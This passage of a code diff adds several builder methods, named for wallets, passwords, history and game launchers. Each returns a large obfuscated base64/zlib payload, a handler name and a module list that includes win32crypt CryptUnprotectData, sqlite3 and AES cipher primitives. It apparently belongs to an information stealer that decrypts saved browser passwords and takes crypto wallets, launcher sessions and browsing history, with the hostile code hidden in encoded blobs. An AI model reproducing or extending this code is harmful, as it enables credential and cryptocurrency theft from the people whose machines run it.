G0nOtWoGW5VwSeeb5AfpDdeeggU/9H3zIGXuQR1ih7dfhg6BIq8WqVS5dErKtWBPFK5pM8D3f8AT8bq0A==') + return { + "name": "Game Launchers", + "blob": blob, + "func": "_gamelaunchers", + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "psutil", "path":[], "import": None}, + ], + } + + @staticmethod + def wallets(): + blob = ('eJytmFtsE9kZx8fj8TV24uBxLtgeHEhwLo7ZDWEDuwHixAG8mwuJA7ks4DqeiTPg2NZ4QpKps8tKfaAVDymqRIq2IkK7wMJWm8eofWge8ziTToU7FRJStVLVJ6PdSrQPVc8cO8GeGDaWapxz+eb//c53vjnneIa/IwUfVb7+wQSKewiJ/AKZQkhVEGlBI6oC3SHwp5Z1/zVDnYpEo+gyKNOqmwiDRpG4ikSWUVJd1FeTWFEfYwuQa4X83Q+pIZFHKII8Q3csy5p9eGn3eGn34aXb46VL627Z9+Gp3+tJGgr9ru9eWVOXIqS1pKGYQBpJdAYjK8qkVCgoJkgxl0mpVFCqIMVSJsVCVpMHHmGAhO2SrJCEl0mylSDVQFJtmaRasu4RuPZs9zpZDzkHy+QcLBGRHZIcZZKcJEEeUpBckNRQJqmBPKyY2xHIaSyT0wj+HVZE1ARJR8skHVWsIzekNJdJaVZQWiCltUxKG4kqsuOBnPYyOe2KaLyQcqxMynvk+4poOiDneJmcTvKEgvMB5HSVyenak52TkHOqTM4p8kMF5yPI6S6T071nLZ+GnDNlcs7uyU8P5PjK5Pj2xNMLOX1lcXRkH+lXcPpJNeCcK4ujIc+R58kLij0agKSPyyR9oljPA5AyWCZlUEEZgpThMrN8kRxRZGeUxGaw6MFlvQFJ6/3I1Z9fAfNdNiwblyuWTWkTfJ5Isvo3lDVNKTYZJMei6CPw6/1s9xcc0ILLZsA1X9fu6sbq35B0pUiPwN+zNzFX7Ed1A86cwdPmNf1Pq1XIncEjoJxE7owsqieRBdWddFyXs8TVOYucixXV1X/szcaKivnbW7JuKDV22licFeD/R5AT8NyQj7oujX5Rk0bXjCW9DcXeKiT+EfBV7/qqga96375O4IvlfWvT2Be2NLZf3zSyVlFKWc4KJC+lDeTl4hUI8lO0slVvI5pKxqnILvN10dOkeT8+YJ3+8gqIZ7lyuWrZkraA/q3l6rJ2VmW6WvF8eqDsvIy/xaOy5IgHlHkrPquWrQb5jlW9xdeqzPkdLr8jPsvviF/Fr/3fZmApGYXiLpQRv3Fv/Mr9u6K68zJnAa3vd23/zL9B1adRxkZOvOVuKs4x8C41ufuuVZ9Wv8NTXcJz562sPo29wxMr4YmlUfBmODXE1TQF+4PBwPBQ6FxgoD8Y6rswHOjrb5J04+FYjGJTXOX58BzlGgjPxyOzFJOSMF8ymZJMA8N9vgHfxYt+35hP0uUbXPVFJhFlwnPn6BiVal48+UGLZCo0SZqpSDg1yxk4ufJSi5Sk9TFzCWaJM4ZhDW363iWWiiTouKSfzrc4004r53V+PsyQYc48kIiEY64gm2DCUUrSxaibVIyc5oxReF3WcmYfm5ijI67cjCRtGHbBgLDO4foXE+R8ijNTsPYuQClnzHdlia6XjofjEYqrmM41INv0cXhx0TVAT1MMu8RZIok5byzX8V4HVyRDIE4CHenv5epnQAZCofe8dM5ETnt3otXL2tzM+2NUhGXm5yTdQv4GmKi8KRdGH0gBiJuriOQauTDGmPkUm58hV8XKvZw/dDLkMuDvn+DMuVmDCHK5GQ+nwtP0Tm5MuTpn5IwLsIbCigGKjFIMmOpNiquMwU4MtHeGp7gE4wrO0yxIZq4naVJylzOysAuF1b2xRORGZDZMx3eGNL4xSdr8BCqnd225rAwuRagYPT/HmebyLYgz9jFLSTbhBWmXdOFkkgyzYa4ysmuEzureUT+nm2ZI6FIl5286nKJ2xtfvGDhTJN/KLYkpiqETcc7IwRraNEGWCs9J2kgiPkNHOUNK7uYiGaUTrEveKimuArb7YjQVZyXML8ekBwg2J+xPgqUIhVK13IbNne3F2ShgisqmWN4EvSpHQT5SbJjJD4Ez+X6hStKPgaUi7zXOstNy+anUDTaRlDQsTI6JzV/IpSZJkxIWB0jOHKRSKTBPF9ynnD4ZZme97CIraXIG1OOS0KFES7WEJlKSNkqxVPymhMkyCbsub1VtMjXP0jHJlATBAVgI3HxGwuj4TELSxBILoGMAljmwe+RFQi3SKRaQwG2j4qSkX2CAPsWCZUOnSBo4gvV7Q9IxVAyOoYHXwXkA7o8ccAsu6Tk6GZI3lYSncsHDXioUmU3QEUoyybpQfhtJVtiTUxuK7R5mBmgMyyfaAXmYUH4RhWLysSLhRTYmEQbBR6UaaE3mjrX8kOCok8xFUTBucNYyHlBIBjkjIXkoCWOXkqCUDRLGJBKspApJGuggYXAu5vB0ChJCcN5VIAGwFaLjITDhFA6IrhIfqYIJL4RmwMy8ySVJvzNvZgjJ/d9gahE8v95CMo7OdZq39/BYXaahlff28g29vH1gtWO1Ywu7NZBpeJ8/EeAbArw9CG0sj9VmGtx821m+4SxvD8jGzbFbge+dhx5M3p9c+2ydFZzdorObx2pe5G1L642Cs0t0doFB8jbe/eGGX3D6RKePxw5mdM4sotL4VC8ajjyuf1j/5MxGp9DQIzb08Hoiq0WM1b+b/jL6IHY/Bsbd7BKIT0TikyyC9KFDKKiuoJRcGWbQjKFIeVIgBkRiACqHlUprofJDgRgSiSGoHHk3cyvEX4sKxKxIzJYG15UnV9IF4qpIXC2tPVCoPbWV4EOzAkGLBA3lF5Xy2gI533eJH5/myc9fIcghH/ojLKHb4Lszs7UkEJMiMVk6N4qIaH5yWiAiIhH56Yg2zwjEqEiMQuWYUokXKj8SiGGRGIbK0Xfm+wwfvPKuDNYUik8LxIhIjEBl8J2hntwaF4hLInGpNNVRqO3mRyYFYkokpkqDy0mvTQGeEohPReLT0uDKQvGJrRaBGBOJMagdUGoPFgexKBATIjGxr/UPJjcuEuOlM2F5o/Vtdm1dKMhafq/GoHaueHKn5cld4382IxBRkYgWrsvSer7vckEYU0ppfZE0WJCJSaXUqtwk1wQiJBKhwlxMQ3UEzZ6w27S3BrMfGjXmTNvJLKIzOGEhmNy3/SuNq4a1zkyVla9t46vasojW7HzhOPzccWzbcWzdtqFdrxIcPaKjJ4toqp2wWPFnUczmzNgPfXlq7bJo9zy3d2zbOwR7p2jv3DD8qeoPVcLJgHgysG0PgCOyvj3jcD0Yuj8kODyiw8M7PK9fZ1EVANQ5VrHX4JOtAtG8zlpUIEC96bZse+nuzCKHNLZXciHoj9zGbpMrgVU2U1HFW918hfsVQhhsv+/99vx3Q0+HwMnr6RE9PdCYRZ1mW8Zau3pq29ooB9z2xAGrDO56jru3cfcTTMDbRbydh9+MrZ53tm/b2rOIurqN7+iHdQZ3P8e927j3CSvgnSLeycMvEK9evnsNTAtgDbDK4M7neOM23rg2JuCtIt7K460vLXXPLQ3bloavD3/lfux56Hny+Sa2eV04PCIeHuGD44JlQrRM8JaJ762233TdO3339BouWI+K1qNZpLra+aLV8537qXu98Zv2b0FYRlsTLH5buYqthtdsmcaWLGKob4LFqv+FxwvSMPB0YAPfYAWPX/T4VwdfeN/7Nvpd7Gks4zq2jq8vvHAd/kr3uOph1boZiFx+0eV/pVEfI35EQLE6nNWrnU0ZV/PjyoeVT5Y3EoJrSHQN8fAr3y35YuOafGeyVnlkNQjnX3WIu+Wr6OPYw9j62U3/lvsvwUticOp5MLIdjPDkrBCkxSAtHL0uHr2+MpxF1fItdz2ovF+5xj4JCXWnxbrTPPwWr4d/y11wCy34r2H3pc7C4828rln+vQ2oMh1n+NoLK+y9pbtLaw6h1ivWevla76b/timjq+Xtx3jdMVl5TZXpCfLE1VXyAX2f5pvBedwtEt08+E5e5fX2jM7MVzfxuiZZ3KPKeE7w+NkV/73A3cAqLeDNIhgTb97ovG14WVELniBSEfAEwne2jR5HBJfPMNqKbbeoQGe7FR316rY9Wrl9HB3tUv+51f/+lAPNOGomjmszHSq5fRyd6DJkTvi0oPPX7popKyodkC9IVnSqViPZNHLbgU41aIZaVPCB5xvkB/lVlxkExX/03XPgLS5GnWFGdp6FjoAiq1apVFn0qkpVl0VKl8xFoPsfVOXn5w==') + return { + "name": "Wallets", + "blob": blob, + "func": "_wallets", + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "psutil", "path":[], "import": None}, + ], + } + + @staticmethod + def passwords(): + blob = ('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') + return { + "name": "Passwords", + "blob": blob, + "func": "_passwords", + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "json", "path":[], "import": None}, + {"module": "base64", "path":[], "import": None}, + {"module": "psutil", "path":[], "import": None}, + {"module": "sqlite3", "path":[], "import": None}, + {"module": "cryptography", "path":["hazmat", "primitives", "ciphers"], "import": "Cipher"}, + {"module": "cryptography", "path":["hazmat", "primitives", "ciphers"], "import": "algorithms"}, + {"module": "cryptography", "path":["hazmat", "primitives", "ciphers"], "import": "modes"}, + {"module": "win32crypt", "path":[], "import": "CryptUnprotectData"}, + ], + } + + @staticmethod + def history(): + blob = ('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') + return { + "name": "History", + "blob": blob, + "func": "_history", + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "json", "path":[], "import": None}, + {"module": "base64", "path":[], 